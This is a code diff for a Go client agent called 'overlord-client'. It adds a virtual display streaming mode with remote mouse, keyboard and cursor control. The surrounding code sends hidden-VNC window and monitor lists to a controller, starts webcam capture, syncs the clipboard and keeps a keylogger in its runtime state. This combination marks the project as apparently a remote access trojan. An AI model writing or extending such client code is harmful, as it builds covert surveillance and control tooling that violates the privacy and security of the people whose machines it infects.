monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
Y: m.Y,
|
||||
Width: m.Width,
|
||||
Height: m.Height,
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
log.Printf("hidden: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
})
|
||||
return nil
|
||||
|
||||
case "webcam_start":
|
||||
env.WebcamMu.Lock()
|
||||
if env.WebcamCancel != nil {
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
virtualTargetFPS atomic.Int64
|
||||
)
|
||||
|
||||
func VirtualStart(ctx context.Context, env *rt.Env) error {
|
||||
fps := activeVirtualTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("virtual: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializeVirtualMode(); err != nil {
|
||||
log.Printf("virtual: failed to initialize virtual mode: %v", err)
|
||||
return err
|
||||
}
|
||||
defer capture.CleanupVirtualMode()
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
currentFPS := fps
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("virtual: stopping stream")
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
fps := activeVirtualTargetFPS()
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("virtual: target fps changed to %d", fps)
|
||||
}
|
||||
if err := capture.NowVirtual(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("virtual: stopping stream")
|
||||
return nil
|
||||
}
|
||||
log.Printf("virtual: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func activeVirtualTargetFPS() int {
|
||||
if fps := int(virtualTargetFPS.Load()); fps > 0 {
|
||||
return fps
|
||||
}
|
||||
_, fps := streamInterval("OVERLORD_virtual_MAX_FPS", 120)
|
||||
return SetVirtualTargetFPS(fps)
|
||||
}
|
||||
|
||||
func SetVirtualTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
virtualTargetFPS.Store(int64(fps))
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
func VirtualSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
log.Printf("virtual: set selected display to %d (virtual monitor always index 0)", display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.VirtualMouseControl = enabled
|
||||
log.Printf("virtual: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.VirtualKeyboardControl = enabled
|
||||
log.Printf("virtual: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.VirtualCursorCapture = enabled
|
||||
capture.SetVirtualCursorCapture(enabled)
|
||||
log.Printf("virtual: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func keyCodeToVKVirtual(code string) uint16 {
|
||||
return 0
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build windows
|
||||
|
||||
package handlers
|
||||
|
||||
func keyCodeToVKVirtual(code string) uint16 {
|
||||
return keyCodeToVK(code)
|
||||
}
|
||||
@@ -35,18 +35,27 @@ type Env struct {
|
||||
HVNCCancel context.CancelFunc
|
||||
HVNCDone chan struct{}
|
||||
HVNCMu sync.Mutex
|
||||
WebcamDeviceIndex int
|
||||
WebcamFPS int
|
||||
WebcamUseMaxFPS bool
|
||||
WebcamQuality int
|
||||
WebcamCodec string
|
||||
WebcamCancel context.CancelFunc
|
||||
WebcamDone chan struct{}
|
||||
WebcamMu sync.Mutex
|
||||
// Virtual mode fields
|
||||
VirtualMouseControl bool
|
||||
VirtualKeyboardControl bool
|
||||
VirtualCursorCapture bool
|
||||
VirtualCancel context.CancelFunc
|
||||
VirtualDone chan struct{}
|
||||
VirtualMu sync.Mutex
|
||||
// Webcam shit
|
||||
WebcamDeviceIndex int
|
||||
WebcamFPS int
|
||||
WebcamUseMaxFPS bool
|
||||
WebcamQuality int
|
||||
WebcamCodec string
|
||||
WebcamCancel context.CancelFunc
|
||||
WebcamDone chan struct{}
|
||||
WebcamMu sync.Mutex
|
||||
// Cliboard sync stuff
|
||||
ClipboardSyncCancel context.CancelFunc
|
||||
ClipboardSyncDone chan struct{}
|
||||
ClipboardSyncMu sync.Mutex
|
||||
ClipboardSyncSource string // "rd" or "hvnc"
|
||||
ClipboardSyncSource string
|
||||
// Other fields
|
||||
Plugins *plugins.Manager
|
||||
Keylogger *keylogger.Keylogger
|
||||
|
||||
Reference in New Issue
Block a user